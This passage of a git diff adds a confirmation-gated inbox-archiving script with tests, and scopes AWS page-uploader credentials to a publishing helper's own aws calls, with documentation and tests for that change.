item.identifier ? `\`${markdownEscape(item.identifier)}\`` : `\`${item.issueId}\``; + const workspace = [item.workspaceStatus, item.branchName].filter(Boolean).join(" / ") || (item.workspaceGone ? "gone" : "none"); + lines.push(`| ${issue} | ${markdownEscape(item.title)} | \`${item.reason.code}\` — ${markdownEscape(item.reason.message)} | ${markdownEscape(workspace)} | ${item.lastActivityAt} |`); + } + } + lines.push(""); + return lines.join("\n"); +} + +function writeText(path, contents) { + const target = resolve(path); + mkdirSync(dirname(target), { recursive: true }); + writeFileSync(target, contents); + return target; +} + +function readJson(path) { + return JSON.parse(readFileSync(resolve(path), "utf8")); +} + +function stableScanId(scanResult) { + const fingerprint = { + userId: scanResult.userId, + staleDays: scanResult.staleDays, + generatedAt: scanResult.generatedAt, + candidates: scanResult.candidates.map((item) => ({ + issueId: item.issueId, + bucket: item.bucket, + reason: item.reason.code, + lastActivityAt: item.lastActivityAt, + })), + }; + return createHash("sha256").update(JSON.stringify(fingerprint)).digest("hex").slice(0, 24); +} + +async function scan(options) { + const context = runtime(options); + const userId = resolveUserId(options, context.apiKey); + const staleDays = parsePositiveInteger(options.stale_days, DEFAULT_STALE_DAYS, "--stale-days"); + const now = options.now ? validDate(options.now) : new Date(); + if (!now) throw new Error("--now must be an ISO date"); + const outputDir = options.output_dir ?? "."; + const candidatesPath = options.candidates ?? resolve(outputDir, "candidates.json"); + const reportPath = options.report ?? resolve(outputDir, "garden-inbox-report.md"); + + const { rows, coverage } = await fetchMineInboxRows(context, userId); + const issuesByWorkspace = new Map(); + for (const issue of rows) { + if (!issue.executionWorkspaceId) continue; + const identifiers = issuesByWorkspace.get(issue.executionWorkspaceId) ?? []; + if (issue.identifier) identifiers.push(issue.identifier); + issuesByWorkspace.set(issue.executionWorkspaceId, identifiers); + } + const workspaceIds = [...issuesByWorkspace.keys()]; + const inspected = await mapLimit(workspaceIds, 8, (workspaceId) => inspectWorkspace( + context, workspaceId, issuesByWorkspace.get(workspaceId), options.git_root ?? process.cwd(), + )); + const workspaceById = new Map(inspected.map((entry) => [entry.id, entry])); + const items = rows.map((issue) => { + const workspace = issue.executionWorkspaceId ? workspaceById.get(issue.executionWorkspaceId) ?? null : null; + return candidateFrom(issue, workspace, classify(issue, workspace, staleDays, now)); + }); + const scanResult = { + schemaVersion: 1, + generatedAt: now.toISOString(), + userId, + staleDays, + sourceCount: rows.length, + coverage, + items, + candidates: items.filter((item) => OFFERED_BUCKETS.has(item.bucket)), + }; + scanResult.scanId = stableScanId(scanResult); + const output = { + schemaVersion: 1, + scanId: scanResult.scanId, + generatedAt: scanResult.generatedAt, + userId, + staleDays, + sourceCount: rows.length, + coverage, + candidates: scanResult.candidates, + kept: items.filter((item) => item.bucket === "D"), + }; + const candidatesFile = writeText(candidatesPath, `${JSON.stringify(output, null, 2)}\n`); + const report = renderReport(scanResult); + const reportFile = writeText(reportPath, report); + process.stdout.write(`${report}\nCandidates JSON: ${candidatesFile}\nReport: ${reportFile}\n`); + return output; +} + +function truncate(value, limit) { + const text = String(value ?? "").trim(); + if (text.length <= limit) return text; + return `${text.slice(0, Math.max(0, limit - 1)).trimEnd()}…`; +} + +function candidateFile(options) { + const data = readJson(options.candidates ?? "candidates.json"); + if (data?.schemaVersion !== 1 + || typeof data.scanId !== "string" + || typeof data.userId !== "string" + || data.userId.trim() === "" + || !Array.isArray(data.candidates)) { + throw new Error("Candidates file is not a garden-inbox schemaVersion 1 scan"); + } + for (const item of data.candidates) { + if (!item?.issueId || !OFFERED_BUCKETS.has(item.bucket)) { + throw new Error("Candidates file contains an invalid or non-offered item"); + } + } + return data; +} + +function archiveTargetBody(scanData) { + return { userId: scanData.userId }; +} + +function chunk(values, size) { + const chunks = []; + for (let index = 0; index < values.length; index += size) chunks.push(values.slice(index, index + size)); + return chunks; +} + +function unselectedKeySuffix(candidates, unselectedIds) { + const idsInCard = candidates + .map((candidate) => candidate.issueId) + .filter((issueId) => unselectedIds.has(issueId)) + .sort(); + if (idsInCard.length === 0) return ""; + const fingerprint = createHash("sha256") + .update(idsInCard.join("\n")) + .digest("hex") + .slice(0, 16); + return `:${fingerprint}`; +} + +function confirmationBody(scanData, candidates, index, count, unselectedIds = new Set()) { + const options = candidates.map((candidate) => ({ + id: candidate.issueId, + label: truncate(`${candidate.identifier ?? candidate.issueId} — ${candidate.title}`, 120), + description: truncate(`${candidate.reason.message} Last activity: ${candidate.lastActivityAt}.${ + unselectedIds.has(candidate.issueId) ? " Declined in a previous pass; starts unchecked." : "" + }`, 500), + })); + const part = count > 1 ? ` (${index + 1}/${count})` : ""; + return { + kind: "request_checkbox_confirmation", + idempotencyKey: `garden-inbox:${scanData.scanId}:${index + 1}:${count}${unselectedKeySuffix(candidates, unselectedIds)}`, + title: `Confirm inbox archive candidates${part}`, + summary: `Choose which reversible inbox entries to archive${part}.`, + continuationPolicy: "wake_assignee", + payload: { + version: 1, + prompt: `Select the inbox entries to archive${part}. Unchecked entries will remain visible.`, + options, + defaultSelectedOptionIds: candidates + .filter((candidate) => (candidate.bucket === "A" || candidate.bucket === "B") + && !unselectedIds.has(candidate.issueId)) + .map((candidate) => candidate.issueId), + minSelected: 0, + acceptLabel: "Archive selected", + rejectLabel: "Keep everything", + detailsMarkdown: `Scan \`${scanData.scanId}\` used a ${scanData.staleDays}-day stale threshold. Buckets A and B start checked; stale branches with unmerged commits (C) start unchecked. Archiving changes only this user's inbox visibility and is reversible.`, + }, + }; +} + +async function confirm(options) { + const data = candidateFile(options); + const drivingIssueId = options.issue_id ?? process.env.PAPERCLIP_TASK_ID; + if (!options.dry_run) required(drivingIssueId, "--issue-id or PAPERCLIP_TASK_ID"); + const candidateIds = new Set(data.candidates.map((candidate) => candidate.issueId)); + const unselectedIds = new Set(optionValues(options.unselect).map((id) => required(id, "--unselect"))); + for (const id of unselectedIds) { + if (!candidateIds.has(id)) throw new Error(`--unselect ${id} is not an offered candidate in this scan`); + } + const groups = chunk(data.candidates, INTERACTION_LIMIT); + if (groups.length === 0) { + process.stdout.write("No archive candidates; no confirmation interaction created.\n"); + return []; + } + const bodies = groups.map((candidates, index) => confirmationBody(data, candidates, index, groups.length, unselectedIds)); + if (options.dry_run) { + process.stdout.write(`${JSON.stringify({ dryRun: true, issueId: drivingIssueId ?? null, interactions: bodies }, null, 2)}\n`); + return bodies; + } + + const context = runtime(options); + const created = []; + for (const body of bodies) { + created.push(await apiRequest(context, `/issues/${encodeURIComponent(drivingIssueId)}/interactions`, { + method: "POST", + body, + })); + } + process.stdout.write(`${JSON.stringify({ + scanId: data.scanId, + createdInteractions: created.map((item) => ({ + id: item.id, + status: item.status, + idempotencyKey: item.idempotencyKey, + })), + }, null, 2)}\n`); + return created; +} + +function flattenInteractionFile(value) { + if (Array.isArray(value)) return value; + if (Array.isArray(value?.interactions)) return value.interactions; + if (value?.interaction && typeof value.interaction === "object") return [value.interaction]; + return value && typeof value === "object" ? [value] : []; +} + +function optionValues(value) { + if (value === undefined) return []; + return Array.isArray(value) ? value : [value]; +} + +async function resolveInteractions(options, context, drivingIssueId) { + const files = optionValues(options.interaction_file); + const ids = optionValues(options.interaction_id); + const fromFiles = files.flatMap((file) => flattenInteractionFile(readJson(file))); + if (ids.length === 0) return fromFiles; + required(drivingIssueId, "--issue-id or PAPERCLIP_TASK_ID"); + const live = await apiRequest(context, `/issues/${encodeURIComponent(drivingIssueId)}/interactions`); + if (!Array.isArray(live)) throw new Error("Interactions API returned a non-array response"); + const byId = new Map(live.map((interaction) => [interaction.id, interaction])); + for (const id of ids) { + if (!byId.has(id)) throw new Error(`Interaction ${id} was not found on the driving issue`); + fromFiles.push(byId.get(id)); + } + return fromFiles; +} + +function acceptedCandidates(interaction, scanData, candidateById) { + if (interaction?.kind !== "request_checkbox_confirmation") { + throw new Error(`Interaction ${interaction?.id ?? "(unknown)"} is not request_checkbox_confirmation`); + } + if (typeof interaction.idempotencyKey !== "string" + || !interaction.idempotencyKey.startsWith(`garden-inbox:${scanData.scanId}:`)) { + throw new Error(`Interaction ${interaction.id ?? "(unknown)"} does not belong to scan ${scanData.scanId}`); + } + if (interaction.status !== "accepted" || interaction.result?.outcome !== "accepted") return []; + const selected = interaction.result?.selectedOptionIds ?? []; + if (!Array.isArray(selected)) throw new Error("Accepted interaction has invalid selectedOptionIds"); + const optionIds = new Set((interaction.payload?.options ?? []).map((option) => option.id)); + const seen = new Set(); + return selected.map((issueId) => { + if (seen.has(issueId)) throw new Error(`Interaction selected duplicate option id ${issueId}`); + seen.add(issueId); + if (!optionIds.has(issueId)) throw new Error(`Selected id ${issueId} was not an option in the interaction`); + const candidate = candidateById.get(issueId); + if (!candidate || !OFFERED_BUCKETS.has(candidate.bucket)) { + throw new Error(`Selected id ${issueId} is not an offered candidate in the originating scan`); + } + return candidate; + }); +} + +function renderApplySummary(results, interactions, dryRun, userId) { + const lines = [ + `# Garden inbox ${dryRun ? "dry-run " : ""}apply summary`, "", + `- Interactions inspected: ${interactions.length}`, + `- Entries ${dryRun ? "that would be archived" : "archived"}: ${results.filter((result) => result.ok).length}`, + `- Failures: ${results.filter((result) => !result.ok).length}`, + ]; + if (results.length === 0) { + lines.push("", "Nothing was archived: the interaction was rejected, unresolved, expired, or accepted with no selections."); + } + for (const result of results) { + lines.push("", `- ${result.ok ? "OK" : "FAILED"}: ${result.identifier ?? result.issueId} — ${result.message}`); + if (result.ok) { + lines.push(` Undo: \`DELETE /api/issues/${result.issueId}/inbox-archive\` with body \`${JSON.stringify({ userId })}\`, or use **Unarchive** in the issue properties pane.`); + } + } + return `${lines.join("\n")}\n`; +} + +async function applyAccepted(options) { + const data = candidateFile(options); + const drivingIssueId = options.issue_id ?? process.env.PAPERCLIP_TASK_ID ?? null; + const needsLiveApi = optionValues(options.interaction_id).length > 0 || !options.dry_run; + const context = runtime(options, { requireApi: needsLiveApi }); + const interactions = await resolveInteractions(options, context, drivingIssueId); + if (interactions.length === 0) throw new Error("Provide --interaction-id or --interaction-file"); + const candidateById = new Map(data.candidates.map((candidate) => [candidate.issueId, candidate])); + const accepted = []; + const seen = new Set(); + for (const interaction of interactions) { + for (const candidate of acceptedCandidates(interaction, data, candidateById)) { + if (!seen.has(candidate.issueId)) accepted.push(candidate); + seen.add(candidate.issueId); + } + } + + const results = []; + for (const candidate of accepted) { + if (options.dry_run) { + results.push({ ...candidate, ok: true, message: "would archive this accepted inbox entry" }); + continue; + } + try { + await apiRequest(context, `/issues/${encodeURIComponent(candidate.issueId)}/inbox-archive`, { + method: "POST", + body: archiveTargetBody(data), + }); + results.push({ ...candidate, ok: true, message: "archived accepted inbox entry" }); + } catch (error) { + results.push({ ...candidate, ok: false, message: error.message }); + } + } + + const summary = renderApplySummary(results, interactions, Boolean(options.dry_run), data.userId); + process.stdout.write(summary); + if (options.summary) writeText(options.summary, summary); + if (results.some((result) => !result.ok)) process.exitCode = 1; + return results; +} + +export { + acceptedCandidates, + archiveTargetBody, + classify, + confirm, + confirmationBody, + decodeJwtPayload, + fetchMineInboxRows, + normalizeApiBase, + scan, +}; + +async function main() { + const { command, options } = parseArgs(process.argv.slice(2)); + if (options.help) { + process.stdout.write(`${usage()}\n`); + return; + } + if (command === "scan") await scan(options); + else if (command === "confirm") await confirm(options); + else await applyAccepted(options); +} + +if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { + main().catch((error) => { + process.stderr.write(`garden-inbox: ${error.message}\n`); + process.exitCode = 1; + }); +} diff --git a/.agents/skills/garden-inbox/scripts/garden-inbox.test.mjs b/.agents/skills/garden-inbox/scripts/garden-inbox.test.mjs new file mode 100644 index 00000000000..3e9a892f2c2 --- /dev/null +++ b/.agents/skills/garden-inbox/scripts/garden-inbox.test.mjs @@ -0,0 +1,187 @@ +import assert from "node:assert/strict"; +import test from "node:test"; + +import { + acceptedCandidates, + archiveTargetBody, + classify, + confirmationBody, + decodeJwtPayload, + fetchMineInboxRows, + normalizeApiBase, +} from "./garden-inbox.mjs"; + +const now = new Date("2026-07-29T00:00:00.000Z"); + +function issue(overrides = {}) { + return { + id: "issue-1", + identifier: "PAP-1", + title: "Example", + status: "done", + updatedAt: "2025-01-01T00:00:00.000Z", + blockedBy: [], + ...overrides, + }; +} + +function workspace(overrides = {}) { + return { + gone: false, + error: null, + status: "active", + branchCommitAt: "2025-01-01T00:00:00.000Z", + readiness: { + git: { isMergedIntoBase: false, aheadCount: 0 }, + linkedIssues: [{ isTerminal: true }], + }, + ...overrides, + }; +} + +test("classifies each archive and keep condition into one bucket", () => { + const merged = workspace({ + readiness: { + git: { isMergedIntoBase: true, aheadCount: 0 }, + linkedIssues: [{ isTerminal: true }], + }, + }); + assert.equal(classify(issue(), merged, 60, now).bucket, "A"); + assert.equal(classify(issue(), workspace(), 60, now).bucket, "B"); + assert.equal(classify(issue(), workspace({ + readiness: { + git: { isMergedIntoBase: false, aheadCount: 2 }, + linkedIssues: [{ isTerminal: true }], + }, + }), 60, now).bucket, "C"); + assert.equal(classify(issue({ status: "in_progress" }), workspace(), 60, now).bucket, "D"); +}); + +test("keeps candidates when workspace safety inspection fails", () => { + const result = classify(issue(), workspace({ error: "503 Service Unavailable", readiness: null }), 60, now); + assert.equal(result.bucket, "D"); + assert.equal(result.reason.code, "workspace_inspection_failed"); +}); + +test("returns only accepted options from the originating scan", () => { + const candidate = { issueId: "issue-1", bucket: "A" }; + const scan = { scanId: "scan-1" }; + const interaction = { + id: "interaction-1", + kind: "request_checkbox_confirmation", + idempotencyKey: "garden-inbox:scan-1:1:1", + status: "accepted", + payload: { options: [{ id: "issue-1" }] }, + result: { outcome: "accepted", selectedOptionIds: ["issue-1"] }, + }; + assert.deepEqual(acceptedCandidates(interaction, scan, new Map([[candidate.issueId, candidate]])), [candidate]); +}); + +test("unselected candidates start unchecked and are labelled as previously declined", () => { + const scan = { scanId: "scan-1", staleDays: 60 }; + const candidates = [ + { issueId: "issue-1", identifier: "PAP-1", title: "Kept before", bucket: "B", lastActivityAt: "2026-05-01T00:00:00.000Z", reason: { message: "Stale." } }, + { issueId: "issue-2", identifier: "PAP-2", title: "New candidate", bucket: "B", lastActivityAt: "2026-05-01T00:00:00.000Z", reason: { message: "Stale." } }, + ]; + const body = confirmationBody(scan, candidates, 0, 1, new Set(["issue-1"])); + assert.deepEqual(body.payload.defaultSelectedOptionIds, ["issue-2"]); + assert.match(body.payload.options[0].description, /Declined in a previous pass; starts unchecked\./); + assert.doesNotMatch(body.payload.options[1].description, /Declined in a previous pass/); + assert.notEqual(body.idempotencyKey, "garden-inbox:scan-1:1:1"); + assert.equal( + body.idempotencyKey, + confirmationBody(scan, candidates, 0, 1, new Set(["issue-1"])).idempotencyKey, + ); + assert.notEqual( + body.idempotencyKey, + confirmationBody(scan, candidates, 0, 1, new Set(["issue-2"])).idempotencyKey, + ); + assert.equal( + confirmationBody(scan, candidates, 0, 1).idempotencyKey, + "garden-inbox:scan-1:1:1", + ); + assert.equal( + confirmationBody(scan, [candidates[1]], 1, 2, new Set(["issue-1"])).idempotencyKey, + "garden-inbox:scan-1:2:2", + ); +}); + +test("preserves an overridden scan user for archive and undo requests", () => { + assert.deepEqual(archiveTargetBody({ userId: "target-user" }), { userId: "target-user" }); +}); + +test("rejects selected ids that were not offered", () => { + const scan = { scanId: "scan-1" }; + const interaction = { + id: "interaction-1", + kind: "request_checkbox_confirmation", + idempotencyKey: "garden-inbox:scan-1:1:1", + status: "accepted", + payload: { options: [{ id: "issue-1" }] }, + result: { outcome: "accepted", selectedOptionIds: ["issue-2"] }, + }; + assert.throws( + () => acceptedCandidates(interaction, scan, new Map()), + /was not an option in the interaction/, + ); +}); + +test("decodes the responsible user and normalizes API URLs locally", () => { + const payload = Buffer.from(JSON.stringify({ responsible_user_id: "user-1" })).toString("base64url"); + assert.equal(decodeJwtPayload(`header.${payload}.signature`).responsible_user_id, "user-1"); + assert.equal(normalizeApiBase("https://paperclip.example/api/"), "https://paperclip.example"); +}); + +test("scans Mine once per status and merges rows by issue id", async (t) => { + const requestedStatuses = []; + t.mock.method(globalThis, "fetch", async (url) => { + const parsed = new URL(url); + const status = parsed.searchParams.get("status"); + requestedStatuses.push(status); + const rows = status === "todo" + ? [issue({ id: "shared", status: "todo" })] + : status === "done" + ? [issue({ id: "shared", status: "done" }), issue({ id: "done-only" })] + : []; + return new Response(JSON.stringify(rows), { status: 200 }); + }); + + const result = await fetchMineInboxRows({ + apiBase: "https://paperclip.example", + apiKey: "secret", + }, "user-1"); + + assert.deepEqual(requestedStatuses, ["backlog", "todo", "in_progress", "in_review", "blocked", "done"]); + assert.equal(result.rows.length, 2); + assert.equal(result.rows.find((row) => row.id === "shared").status, "done"); + assert.equal(result.coverage.duplicateCount, 1); + assert.equal(result.coverage.complete, true); + assert.deepEqual(result.coverage.statusCounts, { + backlog: 0, + todo: 1, + in_progress: 0, + in_review: 0, + blocked: 0, + done: 2, + }); +}); + +test("warns when an individual status query reaches the Mine endpoint cap", async (t) => { + t.mock.method(globalThis, "fetch", async (url) => { + const status = new URL(url).searchParams.get("status"); + const rows = status === "done" + ? Array.from({ length: 500 }, (_, index) => issue({ id: `done-${index}` })) + : []; + return new Response(JSON.stringify(rows), { status: 200 }); + }); + + const result = await fetchMineInboxRows({ + apiBase: "https://paperclip.example", + apiKey: "secret", + }, "user-1"); + + assert.equal(result.rows.length, 500); + assert.equal(result.coverage.complete, false); + assert.deepEqual(result.coverage.cappedStatuses, ["done"]); + assert.equal(result.coverage.queryCap, 500); +}); diff --git a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md index 29af882a84b..06e6b2efe59 100644 --- a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md +++ b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md @@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents, or the user explicitly asks for the normal isolated-workspace database. ```sh -pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes +npx paperclipai worktree reseed --from-instance default --seed-mode full --yes ``` After reseed, restart through the managed runtime path. A reseed can copy diff --git a/.agents/skills/paperclip-page/README.md b/.agents/skills/paperclip-page/README.md index 4ba859741b4..21bf74d3349 100644 --- a/.agents/skills/paperclip-page/README.md +++ b/.agents/skills/paperclip-page/README.md @@ -73,8 +73,8 @@ Required for live publishes: export AWS_REGION=us-east-1 export PAPERCLIP_PAGE_BUCKET=paperclip-pages-prod export PAPERCLIP_PAGE_BASE_URL=https://pages.paperclip.ing -export AWS_ACCESS_KEY_ID=... -export AWS_SECRET_ACCESS_KEY=... +export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID=... +export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY=... ``` Optional: @@ -82,15 +82,35 @@ Optional: ```bash export PAPERCLIP_PAGE_DEFAULT_PREFIX="" export PAPERCLIP_PAGE_AWS_PROFILE=paperclip-page-uploader +export PAPERCLIP_PAGE_AWS_SESSION_TOKEN=... # only with the namespaced key pair ``` +Credential resolution order inside `publish.sh`: + +1. `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` + `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY` + (scoped to the helper's `aws` calls; the surrounding process identity is + untouched) +2. `PAPERCLIP_PAGE_AWS_PROFILE`, passed to `aws` as `--profile` (ambient + `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` / + `AWS_PROFILE` are stripped from the helper's `aws` calls so the named + profile always wins) +3. The ambient AWS credential chain + +Setting both the namespaced key pair and `PAPERCLIP_PAGE_AWS_PROFILE` is an +error. + Recommended Paperclip secret names: - `paperclip-page-aws-access-key-id` - `paperclip-page-aws-secret-access-key` -Bind those secrets into publisher agents as `AWS_ACCESS_KEY_ID` and -`AWS_SECRET_ACCESS_KEY`. Do not reuse Paperclip's internal S3 attachment/object +Bind those secrets into publisher agents as `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` +and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`. Never bind them as the global +`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` names: static env keys override +`AWS_PROFILE` in the AWS CLI and every SDK, so global names silently switch the +whole agent run — and every subprocess — to the page-uploader identity and +break access to anything the uploader cannot reach (Secrets Manager, STS role +use, other buckets). Do not reuse Paperclip's internal S3 attachment/object storage credentials. ## AWS Setup @@ -473,27 +493,29 @@ Create secrets from environment variables so values do not land in shell history export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)" export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)" -pnpm paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-access-key-id \ --value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID -pnpm paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-secret-access-key \ --value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY ``` -Bind runtime env to publishing agents: +Bind runtime env to publishing agents. Use the namespaced names — never the +global `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`, which would shadow the +host `AWS_PROFILE` identity for the entire agent run: ```json { - "AWS_ACCESS_KEY_ID": { + "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID": { "type": "secret_ref", "secretId": "", "version": "latest" }, - "AWS_SECRET_ACCESS_KEY": { + "PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY": { "type": "secret_ref", "secretId": "", "version": "latest" @@ -510,7 +532,7 @@ Bind runtime env to publishing agents: Create or update the company skill from this package: ```bash -pnpm paperclipai skills create \ +npx paperclipai skills create \ --company-id \ --name "Paperclip Page" \ --slug paperclip-page \ @@ -521,7 +543,7 @@ pnpm paperclipai skills create \ Attach it to an agent: ```bash -pnpm paperclipai skills agent sync \ +npx paperclipai skills agent sync \ --company-id \ --skill paperclip-page ``` diff --git a/.agents/skills/paperclip-page/SKILL.md b/.agents/skills/paperclip-page/SKILL.md index e9e74cfe085..df77444874d 100644 --- a/.agents/skills/paperclip-page/SKILL.md +++ b/.agents/skills/paperclip-page/SKILL.md @@ -19,10 +19,20 @@ host, for example `https://pages.paperclip.ing//`. - `PAPERCLIP_PAGE_BUCKET` - `PAPERCLIP_PAGE_BASE_URL` - `AWS_REGION` - - AWS credentials via Paperclip Secrets or an approved AWS vault + - `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY` + with the page-uploader credentials from Paperclip Secrets - Optional environment variables: - `PAPERCLIP_PAGE_DEFAULT_PREFIX` - - `PAPERCLIP_PAGE_AWS_PROFILE` + - `PAPERCLIP_PAGE_AWS_PROFILE` (alternative to the namespaced key pair) + - `PAPERCLIP_PAGE_AWS_SESSION_TOKEN` (only together with the namespaced key + pair) + +Do not bind the page-uploader credentials as global `AWS_ACCESS_KEY_ID` / +`AWS_SECRET_ACCESS_KEY`: static env keys take precedence over `AWS_PROFILE` in +every AWS SDK, so global names silently replace the host identity for every +process in the agent run. The namespaced variables scope the uploader identity +to this helper only. The ambient credential chain still works as a fallback +when none of the `PAPERCLIP_PAGE_AWS_*` credential variables are set. ## Workflow diff --git a/.agents/skills/paperclip-page/scripts/publish.sh b/.agents/skills/paperclip-page/scripts/publish.sh index 2aa3a356add..086003a1e11 100755 --- a/.agents/skills/paperclip-page/scripts/publish.sh +++ b/.agents/skills/paperclip-page/scripts/publish.sh @@ -15,6 +15,15 @@ Required environment for live publish: Optional environment: PAPERCLIP_PAGE_DEFAULT_PREFIX, PAPERCLIP_PAGE_AWS_PROFILE + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID, PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY, + PAPERCLIP_PAGE_AWS_SESSION_TOKEN + +Credential resolution for aws calls made by this helper: + 1. PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY + (used only by this helper; ambient AWS_PROFILE/AWS_* identity is untouched) + 2. PAPERCLIP_PAGE_AWS_PROFILE (passed as --profile; ambient AWS_* identity + variables are stripped from the helper's aws calls) + 3. Ambient AWS credential chain (env keys, profile, instance role) Options: --slug SLUG Lowercase URL slug. Allowed: a-z, 0-9, hyphen. @@ -125,9 +134,26 @@ join_prefix() { } aws_base_args=() +aws_env_unset=() +aws_env_overrides=() aws_cli() { - aws "${aws_base_args[@]}" "$@" + local name pair + if [[ ${#aws_env_unset[@]} -gt 0 || ${#aws_env_overrides[@]} -gt 0 ]]; then + # Scope the page-uploader identity to this helper's aws calls only, and + # drop the ambient identity variables that would otherwise mix with or + # shadow the configured credential source. Apply the overrides with shell + # builtins in a subshell — passing them to an external `env` command would + # expose the credential values in its argv (world-readable via + # /proc//cmdline) while it runs. + ( + for name in "${aws_env_unset[@]}"; do unset "$name"; done + for pair in "${aws_env_overrides[@]}"; do export "$pair"; done + exec aws "${aws_base_args[@]}" "$@" + ) + else + aws "${aws_base_args[@]}" "$@" + fi } object_exists() { @@ -297,6 +323,18 @@ default_prefix="$(normalize_default_prefix "${PAPERCLIP_PAGE_DEFAULT_PREFIX:-}") [[ -n "$base_url" ]] || die "PAPERCLIP_PAGE_BASE_URL is required" base_url="$(normalize_base_url "$base_url")" +page_access_key_id="${PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID:-}" +page_secret_access_key="${PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY:-}" +if [[ -n "$page_access_key_id" || -n "$page_secret_access_key" ]]; then + [[ -n "$page_access_key_id" && -n "$page_secret_access_key" ]] || + die "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID and PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY must be set together" + [[ -z "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]] || + die "set PAPERCLIP_PAGE_AWS_PROFILE or the PAPERCLIP_PAGE_AWS_* key pair, not both" +fi +if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" && -z "$page_access_key_id" ]]; then + die "PAPERCLIP_PAGE_AWS_SESSION_TOKEN requires the PAPERCLIP_PAGE_AWS_* key pair" +fi + explicit_slug=0 if [[ -n "$slug_arg" ]]; then explicit_slug=1 @@ -310,8 +348,18 @@ if [[ "$dry_run" == "0" ]]; then require_command curl [[ -n "$region" ]] || die "AWS_REGION is required for live publish" aws_base_args=(--region "$region") - if [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then + if [[ -n "$page_access_key_id" ]]; then + aws_env_unset=(AWS_PROFILE AWS_SESSION_TOKEN) + aws_env_overrides=( + AWS_ACCESS_KEY_ID="$page_access_key_id" + AWS_SECRET_ACCESS_KEY="$page_secret_access_key" + ) + if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" ]]; then + aws_env_overrides+=(AWS_SESSION_TOKEN="$PAPERCLIP_PAGE_AWS_SESSION_TOKEN") + fi + elif [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then aws_base_args+=(--profile "$PAPERCLIP_PAGE_AWS_PROFILE") + aws_env_unset=(AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE) fi fi diff --git a/.agents/skills/paperclip-page/scripts/publish.test.mjs b/.agents/skills/paperclip-page/scripts/publish.test.mjs index 8ef4b47bd2a..bb8384bfb0b 100644 --- a/.agents/skills/paperclip-page/scripts/publish.test.mjs +++ b/.agents/skills/paperclip-page/scripts/publish.test.mjs @@ -131,6 +131,215 @@ test("rejects hidden files in the source tree", () => { assert.match(result.output, /hidden files and dot paths are not allowed/); }); +test("namespaced page keys require both halves of the pair", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER" }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /must be set together/); +}); + +test("namespaced session token requires the namespaced key pair", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-token" }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /requires the PAPERCLIP_PAGE_AWS_\* key pair/); +}); + +test("namespaced page keys conflict with PAPERCLIP_PAGE_AWS_PROFILE", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret", + PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader", + }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /not both/); +}); + +test("namespaced page keys are scoped to the helper's aws calls", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envDump = join(binDir, "aws-env.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +{ + echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-}" + echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-}" + echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-}" + echo "AWS_PROFILE=\${AWS_PROFILE:-}" +} >"${envDump}" +while [[ "$1" == "--region" || "$1" 